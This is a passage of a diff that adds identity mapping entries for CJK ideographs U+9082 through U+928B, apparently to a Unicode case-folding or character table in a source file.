+ ["\u9082", "\u9082"], /* CJK Ideograph */
+ ["\u9083", "\u9083"], /* CJK Ideograph */
+ ["\u9084", "\u9084"], /* CJK Ideograph */
+ ["\u9085", "\u9085"], /* CJK Ideograph */
+ ["\u9086", "\u9086"], /* CJK Ideograph */
+ ["\u9087", "\u9087"], /* CJK Ideograph */
+ ["\u9088", "\u9088"], /* CJK Ideograph */
+ ["\u9089", "\u9089"], /* CJK Ideograph */
+ ["\u908A", "\u908A"], /* CJK Ideograph */
+ ["\u908B", "\u908B"], /* CJK Ideograph */
+ ["\u908C", "\u908C"], /* CJK Ideograph */
+ ["\u908D", "\u908D"], /* CJK Ideograph */
+ ["\u908E", "\u908E"], /* CJK Ideograph */
+ ["\u908F", "\u908F"], /* CJK Ideograph */
+ ["\u9090", "\u9090"], /* CJK Ideograph */
+ ["\u9091", "\u9091"], /* CJK Ideograph */
+ ["\u9092", "\u9092"], /* CJK Ideograph */
+ ["\u9093", "\u9093"], /* CJK Ideograph */
+ ["\u9094", "\u9094"], /* CJK Ideograph */
+ ["\u9095", "\u9095"], /* CJK Ideograph */
+ ["\u9096", "\u9096"], /* CJK Ideograph */
+ ["\u9097", "\u9097"], /* CJK Ideograph */
+ ["\u9098", "\u9098"], /* CJK Ideograph */
+ ["\u9099", "\u9099"], /* CJK Ideograph */
+ ["\u909A", "\u909A"], /* CJK Ideograph */
+ ["\u909B", "\u909B"], /* CJK Ideograph */
+ ["\u909C", "\u909C"], /* CJK Ideograph */
+ ["\u909D", "\u909D"], /* CJK Ideograph */
+ ["\u909E", "\u909E"], /* CJK Ideograph */
+ ["\u909F", "\u909F"], /* CJK Ideograph */
+ ["\u90A0", "\u90A0"], /* CJK Ideograph */
+ ["\u90A1", "\u90A1"], /* CJK Ideograph */
+ ["\u90A2", "\u90A2"], /* CJK Ideograph */
+ ["\u90A3", "\u90A3"], /* CJK Ideograph */
+ ["\u90A4", "\u90A4"], /* CJK Ideograph */
+ ["\u90A5", "\u90A5"], /* CJK Ideograph */
+ ["\u90A6", "\u90A6"], /* CJK Ideograph */
+ ["\u90A7", "\u90A7"], /* CJK Ideograph */
+ ["\u90A8", "\u90A8"], /* CJK Ideograph */
+ ["\u90A9", "\u90A9"], /* CJK Ideograph */
+ ["\u90AA", "\u90AA"], /* CJK Ideograph */
+ ["\u90AB", "\u90AB"], /* CJK Ideograph */
+ ["\u90AC", "\u90AC"], /* CJK Ideograph */
+ ["\u90AD", "\u90AD"], /* CJK Ideograph */
+ ["\u90AE", "\u90AE"], /* CJK Ideograph */
+ ["\u90AF", "\u90AF"], /* CJK Ideograph */
+ ["\u90B0", "\u90B0"], /* CJK Ideograph */
+ ["\u90B1", "\u90B1"], /* CJK Ideograph */
+ ["\u90B2", "\u90B2"], /* CJK Ideograph */
+ ["\u90B3", "\u90B3"], /* CJK Ideograph */
+ ["\u90B4", "\u90B4"], /* CJK Ideograph */
+ ["\u90B5", "\u90B5"], /* CJK Ideograph */
+ ["\u90B6", "\u90B6"], /* CJK Ideograph */
+ ["\u90B7", "\u90B7"], /* CJK Ideograph */
+ ["\u90B8", "\u90B8"], /* CJK Ideograph */
+ ["\u90B9", "\u90B9"], /* CJK Ideograph */
+ ["\u90BA", "\u90BA"], /* CJK Ideograph */
+ ["\u90BB", "\u90BB"], /* CJK Ideograph */
+ ["\u90BC", "\u90BC"], /* CJK Ideograph */
+ ["\u90BD", "\u90BD"], /* CJK Ideograph */
+ ["\u90BE", "\u90BE"], /* CJK Ideograph */
+ ["\u90BF", "\u90BF"], /* CJK Ideograph */
+ ["\u90C0", "\u90C0"], /* CJK Ideograph */
+ ["\u90C1", "\u90C1"], /* CJK Ideograph */
+ ["\u90C2", "\u90C2"], /* CJK Ideograph */
+ ["\u90C3", "\u90C3"], /* CJK Ideograph */
+ ["\u90C4", "\u90C4"], /* CJK Ideograph */
+ ["\u90C5", "\u90C5"], /* CJK Ideograph */
+ ["\u90C6", "\u90C6"], /* CJK Ideograph */
+ ["\u90C7", "\u90C7"], /* CJK Ideograph */
+ ["\u90C8", "\u90C8"], /* CJK Ideograph */
+ ["\u90C9", "\u90C9"], /* CJK Ideograph */
+ ["\u90CA", "\u90CA"], /* CJK Ideograph */
+ ["\u90CB", "\u90CB"], /* CJK Ideograph */
+ ["\u90CC", "\u90CC"], /* CJK Ideograph */
+ ["\u90CD", "\u90CD"], /* CJK Ideograph */
+ ["\u90CE", "\u90CE"], /* CJK Ideograph */
+ ["\u90CF", "\u90CF"], /* CJK Ideograph */
+ ["\u90D0", "\u90D0"], /* CJK Ideograph */
+ ["\u90D1", "\u90D1"], /* CJK Ideograph */
+ ["\u90D2", "\u90D2"], /* CJK Ideograph */
+ ["\u90D3", "\u90D3"], /* CJK Ideograph */
+ ["\u90D4", "\u90D4"], /* CJK Ideograph */
+ ["\u90D5", "\u90D5"], /* CJK Ideograph */
+ ["\u90D6", "\u90D6"], /* CJK Ideograph */
+ ["\u90D7", "\u90D7"], /* CJK Ideograph */
+ ["\u90D8", "\u90D8"], /* CJK Ideograph */
+ ["\u90D9", "\u90D9"], /* CJK Ideograph */
+ ["\u90DA", "\u90DA"], /* CJK Ideograph */
+ ["\u90DB", "\u90DB"], /* CJK Ideograph */
+ ["\u90DC", "\u90DC"], /* CJK Ideograph */
+ ["\u90DD", "\u90DD"], /* CJK Ideograph */
+ ["\u90DE", "\u90DE"], /* CJK Ideograph */
+ ["\u90DF", "\u90DF"], /* CJK Ideograph */
+ ["\u90E0", "\u90E0"], /* CJK Ideograph */
+ ["\u90E1", "\u90E1"], /* CJK Ideograph */
+ ["\u90E2", "\u90E2"], /* CJK Ideograph */
+ ["\u90E3", "\u90E3"], /* CJK Ideograph */
+ ["\u90E4", "\u90E4"], /* CJK Ideograph */
+ ["\u90E5", "\u90E5"], /* CJK Ideograph */
+ ["\u90E6", "\u90E6"], /* CJK Ideograph */
+ ["\u90E7", "\u90E7"], /* CJK Ideograph */
+ ["\u90E8", "\u90E8"], /* CJK Ideograph */
+ ["\u90E9", "\u90E9"], /* CJK Ideograph */
+ ["\u90EA", "\u90EA"], /* CJK Ideograph */
+ ["\u90EB", "\u90EB"], /* CJK Ideograph */
+ ["\u90EC", "\u90EC"], /* CJK Ideograph */
+ ["\u90ED", "\u90ED"], /* CJK Ideograph */
+ ["\u90EE", "\u90EE"], /* CJK Ideograph */
+ ["\u90EF", "\u90EF"], /* CJK Ideograph */
+ ["\u90F0", "\u90F0"], /* CJK Ideograph */
+ ["\u90F1", "\u90F1"], /* CJK Ideograph */
+ ["\u90F2", "\u90F2"], /* CJK Ideograph */
+ ["\u90F3", "\u90F3"], /* CJK Ideograph */
+ ["\u90F4", "\u90F4"], /* CJK Ideograph */
+ ["\u90F5", "\u90F5"], /* CJK Ideograph */
+ ["\u90F6", "\u90F6"], /* CJK Ideograph */
+ ["\u90F7", "\u90F7"], /* CJK Ideograph */
+ ["\u90F8", "\u90F8"], /* CJK Ideograph */
+ ["\u90F9", "\u90F9"], /* CJK Ideograph */
+ ["\u90FA", "\u90FA"], /* CJK Ideograph */
+ ["\u90FB", "\u90FB"], /* CJK Ideograph */
+ ["\u90FC", "\u90FC"], /* CJK Ideograph */
+ ["\u90FD", "\u90FD"], /* CJK Ideograph */
+ ["\u90FE", "\u90FE"], /* CJK Ideograph */
+ ["\u90FF", "\u90FF"], /* CJK Ideograph */
+ ["\u9100", "\u9100"], /* CJK Ideograph */
+ ["\u9101", "\u9101"], /* CJK Ideograph */
+ ["\u9102", "\u9102"], /* CJK Ideograph */
+ ["\u9103", "\u9103"], /* CJK Ideograph */
+ ["\u9104", "\u9104"], /* CJK Ideograph */
+ ["\u9105", "\u9105"], /* CJK Ideograph */
+ ["\u9106", "\u9106"], /* CJK Ideograph */
+ ["\u9107", "\u9107"], /* CJK Ideograph */
+ ["\u9108", "\u9108"], /* CJK Ideograph */
+ ["\u9109", "\u9109"], /* CJK Ideograph */
+ ["\u910A", "\u910A"], /* CJK Ideograph */
+ ["\u910B", "\u910B"], /* CJK Ideograph */
+ ["\u910C", "\u910C"], /* CJK Ideograph */
+ ["\u910D", "\u910D"], /* CJK Ideograph */
+ ["\u910E", "\u910E"], /* CJK Ideograph */
+ ["\u910F", "\u910F"], /* CJK Ideograph */
+ ["\u9110", "\u9110"], /* CJK Ideograph */
+ ["\u9111", "\u9111"], /* CJK Ideograph */
+ ["\u9112", "\u9112"], /* CJK Ideograph */
+ ["\u9113", "\u9113"], /* CJK Ideograph */
+ ["\u9114", "\u9114"], /* CJK Ideograph */
+ ["\u9115", "\u9115"], /* CJK Ideograph */
+ ["\u9116", "\u9116"], /* CJK Ideograph */
+ ["\u9117", "\u9117"], /* CJK Ideograph */
+ ["\u9118", "\u9118"], /* CJK Ideograph */
+ ["\u9119", "\u9119"], /* CJK Ideograph */
+ ["\u911A", "\u911A"], /* CJK Ideograph */
+ ["\u911B", "\u911B"], /* CJK Ideograph */
+ ["\u911C", "\u911C"], /* CJK Ideograph */
+ ["\u911D", "\u911D"], /* CJK Ideograph */
+ ["\u911E", "\u911E"], /* CJK Ideograph */
+ ["\u911F", "\u911F"], /* CJK Ideograph */
+ ["\u9120", "\u9120"], /* CJK Ideograph */
+ ["\u9121", "\u9121"], /* CJK Ideograph */
+ ["\u9122", "\u9122"], /* CJK Ideograph */
+ ["\u9123", "\u9123"], /* CJK Ideograph */
+ ["\u9124", "\u9124"], /* CJK Ideograph */
+ ["\u9125", "\u9125"], /* CJK Ideograph */
+ ["\u9126", "\u9126"], /* CJK Ideograph */
+ ["\u9127", "\u9127"], /* CJK Ideograph */
+ ["\u9128", "\u9128"], /* CJK Ideograph */
+ ["\u9129", "\u9129"], /* CJK Ideograph */
+ ["\u912A", "\u912A"], /* CJK Ideograph */
+ ["\u912B", "\u912B"], /* CJK Ideograph */
+ ["\u912C", "\u912C"], /* CJK Ideograph */
+ ["\u912D", "\u912D"], /* CJK Ideograph */
+ ["\u912E", "\u912E"], /* CJK Ideograph */
+ ["\u912F", "\u912F"], /* CJK Ideograph */
+ ["\u9130", "\u9130"], /* CJK Ideograph */
+ ["\u9131", "\u9131"], /* CJK Ideograph */
+ ["\u9132", "\u9132"], /* CJK Ideograph */
+ ["\u9133", "\u9133"], /* CJK Ideograph */
+ ["\u9134", "\u9134"], /* CJK Ideograph */
+ ["\u9135", "\u9135"], /* CJK Ideograph */
+ ["\u9136", "\u9136"], /* CJK Ideograph */
+ ["\u9137", "\u9137"], /* CJK Ideograph */
+ ["\u9138", "\u9138"], /* CJK Ideograph */
+ ["\u9139", "\u9139"], /* CJK Ideograph */
+ ["\u913A", "\u913A"], /* CJK Ideograph */
+ ["\u913B", "\u913B"], /* CJK Ideograph */
+ ["\u913C", "\u913C"], /* CJK Ideograph */
+ ["\u913D", "\u913D"], /* CJK Ideograph */
+ ["\u913E", "\u913E"], /* CJK Ideograph */
+ ["\u913F", "\u913F"], /* CJK Ideograph */
+ ["\u9140", "\u9140"], /* CJK Ideograph */
+ ["\u9141", "\u9141"], /* CJK Ideograph */
+ ["\u9142", "\u9142"], /* CJK Ideograph */
+ ["\u9143", "\u9143"], /* CJK Ideograph */
+ ["\u9144", "\u9144"], /* CJK Ideograph */
+ ["\u9145", "\u9145"], /* CJK Ideograph */
+ ["\u9146", "\u9146"], /* CJK Ideograph */
+ ["\u9147", "\u9147"], /* CJK Ideograph */
+ ["\u9148", "\u9148"], /* CJK Ideograph */
+ ["\u9149", "\u9149"], /* CJK Ideograph */
+ ["\u914A", "\u914A"], /* CJK Ideograph */
+ ["\u914B", "\u914B"], /* CJK Ideograph */
+ ["\u914C", "\u914C"], /* CJK Ideograph */
+ ["\u914D", "\u914D"], /* CJK Ideograph */
+ ["\u914E", "\u914E"], /* CJK Ideograph */
+ ["\u914F", "\u914F"], /* CJK Ideograph */
+ ["\u9150", "\u9150"], /* CJK Ideograph */
+ ["\u9151", "\u9151"], /* CJK Ideograph */
+ ["\u9152", "\u9152"], /* CJK Ideograph */
+ ["\u9153", "\u9153"], /* CJK Ideograph */
+ ["\u9154", "\u9154"], /* CJK Ideograph */
+ ["\u9155", "\u9155"], /* CJK Ideograph */
+ ["\u9156", "\u9156"], /* CJK Ideograph */
+ ["\u9157", "\u9157"], /* CJK Ideograph */
+ ["\u9158", "\u9158"], /* CJK Ideograph */
+ ["\u9159", "\u9159"], /* CJK Ideograph */
+ ["\u915A", "\u915A"], /* CJK Ideograph */
+ ["\u915B", "\u915B"], /* CJK Ideograph */
+ ["\u915C", "\u915C"], /* CJK Ideograph */
+ ["\u915D", "\u915D"], /* CJK Ideograph */
+ ["\u915E", "\u915E"], /* CJK Ideograph */
+ ["\u915F", "\u915F"], /* CJK Ideograph */
+ ["\u9160", "\u9160"], /* CJK Ideograph */
+ ["\u9161", "\u9161"], /* CJK Ideograph */
+ ["\u9162", "\u9162"], /* CJK Ideograph */
+ ["\u9163", "\u9163"], /* CJK Ideograph */
+ ["\u9164", "\u9164"], /* CJK Ideograph */
+ ["\u9165", "\u9165"], /* CJK Ideograph */
+ ["\u9166", "\u9166"], /* CJK Ideograph */
+ ["\u9167", "\u9167"], /* CJK Ideograph */
+ ["\u9168", "\u9168"], /* CJK Ideograph */
+ ["\u9169", "\u9169"], /* CJK Ideograph */
+ ["\u916A", "\u916A"], /* CJK Ideograph */
+ ["\u916B", "\u916B"], /* CJK Ideograph */
+ ["\u916C", "\u916C"], /* CJK Ideograph */
+ ["\u916D", "\u916D"], /* CJK Ideograph */
+ ["\u916E", "\u916E"], /* CJK Ideograph */
+ ["\u916F", "\u916F"], /* CJK Ideograph */
+ ["\u9170", "\u9170"], /* CJK Ideograph */
+ ["\u9171", "\u9171"], /* CJK Ideograph */
+ ["\u9172", "\u9172"], /* CJK Ideograph */
+ ["\u9173", "\u9173"], /* CJK Ideograph */
+ ["\u9174", "\u9174"], /* CJK Ideograph */
+ ["\u9175", "\u9175"], /* CJK Ideograph */
+ ["\u9176", "\u9176"], /* CJK Ideograph */
+ ["\u9177", "\u9177"], /* CJK Ideograph */
+ ["\u9178", "\u9178"], /* CJK Ideograph */
+ ["\u9179", "\u9179"], /* CJK Ideograph */
+ ["\u917A", "\u917A"], /* CJK Ideograph */
+ ["\u917B", "\u917B"], /* CJK Ideograph */
+ ["\u917C", "\u917C"], /* CJK Ideograph */
+ ["\u917D", "\u917D"], /* CJK Ideograph */
+ ["\u917E", "\u917E"], /* CJK Ideograph */
+ ["\u917F", "\u917F"], /* CJK Ideograph */
+ ["\u9180", "\u9180"], /* CJK Ideograph */
+ ["\u9181", "\u9181"], /* CJK Ideograph */
+ ["\u9182", "\u9182"], /* CJK Ideograph */
+ ["\u9183", "\u9183"], /* CJK Ideograph */
+ ["\u9184", "\u9184"], /* CJK Ideograph */
+ ["\u9185", "\u9185"], /* CJK Ideograph */
+ ["\u9186", "\u9186"], /* CJK Ideograph */
+ ["\u9187", "\u9187"], /* CJK Ideograph */
+ ["\u9188", "\u9188"], /* CJK Ideograph */
+ ["\u9189", "\u9189"], /* CJK Ideograph */
+ ["\u918A", "\u918A"], /* CJK Ideograph */
+ ["\u918B", "\u918B"], /* CJK Ideograph */
+ ["\u918C", "\u918C"], /* CJK Ideograph */
+ ["\u918D", "\u918D"], /* CJK Ideograph */
+ ["\u918E", "\u918E"], /* CJK Ideograph */
+ ["\u918F", "\u918F"], /* CJK Ideograph */
+ ["\u9190", "\u9190"], /* CJK Ideograph */
+ ["\u9191", "\u9191"], /* CJK Ideograph */
+ ["\u9192", "\u9192"], /* CJK Ideograph */
+ ["\u9193", "\u9193"], /* CJK Ideograph */
+ ["\u9194", "\u9194"], /* CJK Ideograph */
+ ["\u9195", "\u9195"], /* CJK Ideograph */
+ ["\u9196", "\u9196"], /* CJK Ideograph */
+ ["\u9197", "\u9197"], /* CJK Ideograph */
+ ["\u9198", "\u9198"], /* CJK Ideograph */
+ ["\u9199", "\u9199"], /* CJK Ideograph */
+ ["\u919A", "\u919A"], /* CJK Ideograph */
+ ["\u919B", "\u919B"], /* CJK Ideograph */
+ ["\u919C", "\u919C"], /* CJK Ideograph */
+ ["\u919D", "\u919D"], /* CJK Ideograph */
+ ["\u919E", "\u919E"], /* CJK Ideograph */
+ ["\u919F", "\u919F"], /* CJK Ideograph */
+ ["\u91A0", "\u91A0"], /* CJK Ideograph */
+ ["\u91A1", "\u91A1"], /* CJK Ideograph */
+ ["\u91A2", "\u91A2"], /* CJK Ideograph */
+ ["\u91A3", "\u91A3"], /* CJK Ideograph */
+ ["\u91A4", "\u91A4"], /* CJK Ideograph */
+ ["\u91A5", "\u91A5"], /* CJK Ideograph */
+ ["\u91A6", "\u91A6"], /* CJK Ideograph */
+ ["\u91A7", "\u91A7"], /* CJK Ideograph */
+ ["\u91A8", "\u91A8"], /* CJK Ideograph */
+ ["\u91A9", "\u91A9"], /* CJK Ideograph */
+ ["\u91AA", "\u91AA"], /* CJK Ideograph */
+ ["\u91AB", "\u91AB"], /* CJK Ideograph */
+ ["\u91AC", "\u91AC"], /* CJK Ideograph */
+ ["\u91AD", "\u91AD"], /* CJK Ideograph */
+ ["\u91AE", "\u91AE"], /* CJK Ideograph */
+ ["\u91AF", "\u91AF"], /* CJK Ideograph */
+ ["\u91B0", "\u91B0"], /* CJK Ideograph */
+ ["\u91B1", "\u91B1"], /* CJK Ideograph */
+ ["\u91B2", "\u91B2"], /* CJK Ideograph */
+ ["\u91B3", "\u91B3"], /* CJK Ideograph */
+ ["\u91B4", "\u91B4"], /* CJK Ideograph */
+ ["\u91B5", "\u91B5"], /* CJK Ideograph */
+ ["\u91B6", "\u91B6"], /* CJK Ideograph */
+ ["\u91B7", "\u91B7"], /* CJK Ideograph */
+ ["\u91B8", "\u91B8"], /* CJK Ideograph */
+ ["\u91B9", "\u91B9"], /* CJK Ideograph */
+ ["\u91BA", "\u91BA"], /* CJK Ideograph */
+ ["\u91BB", "\u91BB"], /* CJK Ideograph */
+ ["\u91BC", "\u91BC"], /* CJK Ideograph */
+ ["\u91BD", "\u91BD"], /* CJK Ideograph */
+ ["\u91BE", "\u91BE"], /* CJK Ideograph */
+ ["\u91BF", "\u91BF"], /* CJK Ideograph */
+ ["\u91C0", "\u91C0"], /* CJK Ideograph */
+ ["\u91C1", "\u91C1"], /* CJK Ideograph */
+ ["\u91C2", "\u91C2"], /* CJK Ideograph */
+ ["\u91C3", "\u91C3"], /* CJK Ideograph */
+ ["\u91C4", "\u91C4"], /* CJK Ideograph */
+ ["\u91C5", "\u91C5"], /* CJK Ideograph */
+ ["\u91C6", "\u91C6"], /* CJK Ideograph */
+ ["\u91C7", "\u91C7"], /* CJK Ideograph */
+ ["\u91C8", "\u91C8"], /* CJK Ideograph */
+ ["\u91C9", "\u91C9"], /* CJK Ideograph */
+ ["\u91CA", "\u91CA"], /* CJK Ideograph */
+ ["\u91CB", "\u91CB"], /* CJK Ideograph */
+ ["\u91CC", "\u91CC"], /* CJK Ideograph */
+ ["\u91CD", "\u91CD"], /* CJK Ideograph */
+ ["\u91CE", "\u91CE"], /* CJK Ideograph */
+ ["\u91CF", "\u91CF"], /* CJK Ideograph */
+ ["\u91D0", "\u91D0"], /* CJK Ideograph */
+ ["\u91D1", "\u91D1"], /* CJK Ideograph */
+ ["\u91D2", "\u91D2"], /* CJK Ideograph */
+ ["\u91D3", "\u91D3"], /* CJK Ideograph */
+ ["\u91D4", "\u91D4"], /* CJK Ideograph */
+ ["\u91D5", "\u91D5"], /* CJK Ideograph */
+ ["\u91D6", "\u91D6"], /* CJK Ideograph */
+ ["\u91D7", "\u91D7"], /* CJK Ideograph */
+ ["\u91D8", "\u91D8"], /* CJK Ideograph */
+ ["\u91D9", "\u91D9"], /* CJK Ideograph */
+ ["\u91DA", "\u91DA"], /* CJK Ideograph */
+ ["\u91DB", "\u91DB"], /* CJK Ideograph */
+ ["\u91DC", "\u91DC"], /* CJK Ideograph */
+ ["\u91DD", "\u91DD"], /* CJK Ideograph */
+ ["\u91DE", "\u91DE"], /* CJK Ideograph */
+ ["\u91DF", "\u91DF"], /* CJK Ideograph */
+ ["\u91E0", "\u91E0"], /* CJK Ideograph */
+ ["\u91E1", "\u91E1"], /* CJK Ideograph */
+ ["\u91E2", "\u91E2"], /* CJK Ideograph */
+ ["\u91E3", "\u91E3"], /* CJK Ideograph */
+ ["\u91E4", "\u91E4"], /* CJK Ideograph */
+ ["\u91E5", "\u91E5"], /* CJK Ideograph */
+ ["\u91E6", "\u91E6"], /* CJK Ideograph */
+ ["\u91E7", "\u91E7"], /* CJK Ideograph */
+ ["\u91E8", "\u91E8"], /* CJK Ideograph */
+ ["\u91E9", "\u91E9"], /* CJK Ideograph */
+ ["\u91EA", "\u91EA"], /* CJK Ideograph */
+ ["\u91EB", "\u91EB"], /* CJK Ideograph */
+ ["\u91EC", "\u91EC"], /* CJK Ideograph */
+ ["\u91ED", "\u91ED"], /* CJK Ideograph */
+ ["\u91EE", "\u91EE"], /* CJK Ideograph */
+ ["\u91EF", "\u91EF"], /* CJK Ideograph */
+ ["\u91F0", "\u91F0"], /* CJK Ideograph */
+ ["\u91F1", "\u91F1"], /* CJK Ideograph */
+ ["\u91F2", "\u91F2"], /* CJK Ideograph */
+ ["\u91F3", "\u91F3"], /* CJK Ideograph */
+ ["\u91F4", "\u91F4"], /* CJK Ideograph */
+ ["\u91F5", "\u91F5"], /* CJK Ideograph */
+ ["\u91F6", "\u91F6"], /* CJK Ideograph */
+ ["\u91F7", "\u91F7"], /* CJK Ideograph */
+ ["\u91F8", "\u91F8"], /* CJK Ideograph */
+ ["\u91F9", "\u91F9"], /* CJK Ideograph */
+ ["\u91FA", "\u91FA"], /* CJK Ideograph */
+ ["\u91FB", "\u91FB"], /* CJK Ideograph */
+ ["\u91FC", "\u91FC"], /* CJK Ideograph */
+ ["\u91FD", "\u91FD"], /* CJK Ideograph */
+ ["\u91FE", "\u91FE"], /* CJK Ideograph */
+ ["\u91FF", "\u91FF"], /* CJK Ideograph */
+ ["\u9200", "\u9200"], /* CJK Ideograph */
+ ["\u9201", "\u9201"], /* CJK Ideograph */
+ ["\u9202", "\u9202"], /* CJK Ideograph */
+ ["\u9203", "\u9203"], /* CJK Ideograph */
+ ["\u9204", "\u9204"], /* CJK Ideograph */
+ ["\u9205", "\u9205"], /* CJK Ideograph */
+ ["\u9206", "\u9206"], /* CJK Ideograph */
+ ["\u9207", "\u9207"], /* CJK Ideograph */
+ ["\u9208", "\u9208"], /* CJK Ideograph */
+ ["\u9209", "\u9209"], /* CJK Ideograph */
+ ["\u920A", "\u920A"], /* CJK Ideograph */
+ ["\u920B", "\u920B"], /* CJK Ideograph */
+ ["\u920C", "\u920C"], /* CJK Ideograph */
+ ["\u920D", "\u920D"], /* CJK Ideograph */
+ ["\u920E", "\u920E"], /* CJK Ideograph */
+ ["\u920F", "\u920F"], /* CJK Ideograph */
+ ["\u9210", "\u9210"], /* CJK Ideograph */
+ ["\u9211", "\u9211"], /* CJK Ideograph */
+ ["\u9212", "\u9212"], /* CJK Ideograph */
+ ["\u9213", "\u9213"], /* CJK Ideograph */
+ ["\u9214", "\u9214"], /* CJK Ideograph */
+ ["\u9215", "\u9215"], /* CJK Ideograph */
+ ["\u9216", "\u9216"], /* CJK Ideograph */
+ ["\u9217", "\u9217"], /* CJK Ideograph */
+ ["\u9218", "\u9218"], /* CJK Ideograph */
+ ["\u9219", "\u9219"], /* CJK Ideograph */
+ ["\u921A", "\u921A"], /* CJK Ideograph */
+ ["\u921B", "\u921B"], /* CJK Ideograph */
+ ["\u921C", "\u921C"], /* CJK Ideograph */
+ ["\u921D", "\u921D"], /* CJK Ideograph */
+ ["\u921E", "\u921E"], /* CJK Ideograph */
+ ["\u921F", "\u921F"], /* CJK Ideograph */
+ ["\u9220", "\u9220"], /* CJK Ideograph */
+ ["\u9221", "\u9221"], /* CJK Ideograph */
+ ["\u9222", "\u9222"], /* CJK Ideograph */
+ ["\u9223", "\u9223"], /* CJK Ideograph */
+ ["\u9224", "\u9224"], /* CJK Ideograph */
+ ["\u9225", "\u9225"], /* CJK Ideograph */
+ ["\u9226", "\u9226"], /* CJK Ideograph */
+ ["\u9227", "\u9227"], /* CJK Ideograph */
+ ["\u9228", "\u9228"], /* CJK Ideograph */
+ ["\u9229", "\u9229"], /* CJK Ideograph */
+ ["\u922A", "\u922A"], /* CJK Ideograph */
+ ["\u922B", "\u922B"], /* CJK Ideograph */
+ ["\u922C", "\u922C"], /* CJK Ideograph */
+ ["\u922D", "\u922D"], /* CJK Ideograph */
+ ["\u922E", "\u922E"], /* CJK Ideograph */
+ ["\u922F", "\u922F"], /* CJK Ideograph */
+ ["\u9230", "\u9230"], /* CJK Ideograph */
+ ["\u9231", "\u9231"], /* CJK Ideograph */
+ ["\u9232", "\u9232"], /* CJK Ideograph */
+ ["\u9233", "\u9233"], /* CJK Ideograph */
+ ["\u9234", "\u9234"], /* CJK Ideograph */
+ ["\u9235", "\u9235"], /* CJK Ideograph */
+ ["\u9236", "\u9236"], /* CJK Ideograph */
+ ["\u9237", "\u9237"], /* CJK Ideograph */
+ ["\u9238", "\u9238"], /* CJK Ideograph */
+ ["\u9239", "\u9239"], /* CJK Ideograph */
+ ["\u923A", "\u923A"], /* CJK Ideograph */
+ ["\u923B", "\u923B"], /* CJK Ideograph */
+ ["\u923C", "\u923C"], /* CJK Ideograph */
+ ["\u923D", "\u923D"], /* CJK Ideograph */
+ ["\u923E", "\u923E"], /* CJK Ideograph */
+ ["\u923F", "\u923F"], /* CJK Ideograph */
+ ["\u9240", "\u9240"], /* CJK Ideograph */
+ ["\u9241", "\u9241"], /* CJK Ideograph */
+ ["\u9242", "\u9242"], /* CJK Ideograph */
+ ["\u9243", "\u9243"], /* CJK Ideograph */
+ ["\u9244", "\u9244"], /* CJK Ideograph */
+ ["\u9245", "\u9245"], /* CJK Ideograph */
+ ["\u9246", "\u9246"], /* CJK Ideograph */
+ ["\u9247", "\u9247"], /* CJK Ideograph */
+ ["\u9248", "\u9248"], /* CJK Ideograph */
+ ["\u9249", "\u9249"], /* CJK Ideograph */
+ ["\u924A", "\u924A"], /* CJK Ideograph */
+ ["\u924B", "\u924B"], /* CJK Ideograph */
+ ["\u924C", "\u924C"], /* CJK Ideograph */
+ ["\u924D", "\u924D"], /* CJK Ideograph */
+ ["\u924E", "\u924E"], /* CJK Ideograph */
+ ["\u924F", "\u924F"], /* CJK Ideograph */
+ ["\u9250", "\u9250"], /* CJK Ideograph */
+ ["\u9251", "\u9251"], /* CJK Ideograph */
+ ["\u9252", "\u9252"], /* CJK Ideograph */
+ ["\u9253", "\u9253"], /* CJK Ideograph */
+ ["\u9254", "\u9254"], /* CJK Ideograph */
+ ["\u9255", "\u9255"], /* CJK Ideograph */
+ ["\u9256", "\u9256"], /* CJK Ideograph */
+ ["\u9257", "\u9257"], /* CJK Ideograph */
+ ["\u9258", "\u9258"], /* CJK Ideograph */
+ ["\u9259", "\u9259"], /* CJK Ideograph */
+ ["\u925A", "\u925A"], /* CJK Ideograph */
+ ["\u925B", "\u925B"], /* CJK Ideograph */
+ ["\u925C", "\u925C"], /* CJK Ideograph */
+ ["\u925D", "\u925D"], /* CJK Ideograph */
+ ["\u925E", "\u925E"], /* CJK Ideograph */
+ ["\u925F", "\u925F"], /* CJK Ideograph */
+ ["\u9260", "\u9260"], /* CJK Ideograph */
+ ["\u9261", "\u9261"], /* CJK Ideograph */
+ ["\u9262", "\u9262"], /* CJK Ideograph */
+ ["\u9263", "\u9263"], /* CJK Ideograph */
+ ["\u9264", "\u9264"], /* CJK Ideograph */
+ ["\u9265", "\u9265"], /* CJK Ideograph */
+ ["\u9266", "\u9266"], /* CJK Ideograph */
+ ["\u9267", "\u9267"], /* CJK Ideograph */
+ ["\u9268", "\u9268"], /* CJK Ideograph */
+ ["\u9269", "\u9269"], /* CJK Ideograph */
+ ["\u926A", "\u926A"], /* CJK Ideograph */
+ ["\u926B", "\u926B"], /* CJK Ideograph */
+ ["\u926C", "\u926C"], /* CJK Ideograph */
+ ["\u926D", "\u926D"], /* CJK Ideograph */
+ ["\u926E", "\u926E"], /* CJK Ideograph */
+ ["\u926F", "\u926F"], /* CJK Ideograph */
+ ["\u9270", "\u9270"], /* CJK Ideograph */
+ ["\u9271", "\u9271"], /* CJK Ideograph */
+ ["\u9272", "\u9272"], /* CJK Ideograph */
+ ["\u9273", "\u9273"], /* CJK Ideograph */
+ ["\u9274", "\u9274"], /* CJK Ideograph */
+ ["\u9275", "\u9275"], /* CJK Ideograph */
+ ["\u9276", "\u9276"], /* CJK Ideograph */
+ ["\u9277", "\u9277"], /* CJK Ideograph */
+ ["\u9278", "\u9278"], /* CJK Ideograph */
+ ["\u9279", "\u9279"], /* CJK Ideograph */
+ ["\u927A", "\u927A"], /* CJK Ideograph */
+ ["\u927B", "\u927B"], /* CJK Ideograph */
+ ["\u927C", "\u927C"], /* CJK Ideograph */
+ ["\u927D", "\u927D"], /* CJK Ideograph */
+ ["\u927E", "\u927E"], /* CJK Ideograph */
+ ["\u927F", "\u927F"], /* CJK Ideograph */
+ ["\u9280", "\u9280"], /* CJK Ideograph */
+ ["\u9281", "\u9281"], /* CJK Ideograph */
+ ["\u9282", "\u9282"], /* CJK Ideograph */
+ ["\u9283", "\u9283"], /* CJK Ideograph */
+ ["\u9284", "\u9284"], /* CJK Ideograph */
+ ["\u9285", "\u9285"], /* CJK Ideograph */
+ ["\u9286", "\u9286"], /* CJK Ideograph */
+ ["\u9287", "\u9287"], /* CJK Ideograph */
+ ["\u9288", "\u9288"], /* CJK Ideograph */
+ ["\u9289", "\u9289"], /* CJK Ideograph */
+ ["\u928A", "\u928A"], /* CJK Ideograph */
+ ["\u928B", "\u928B"], /* CJK Ideograph */
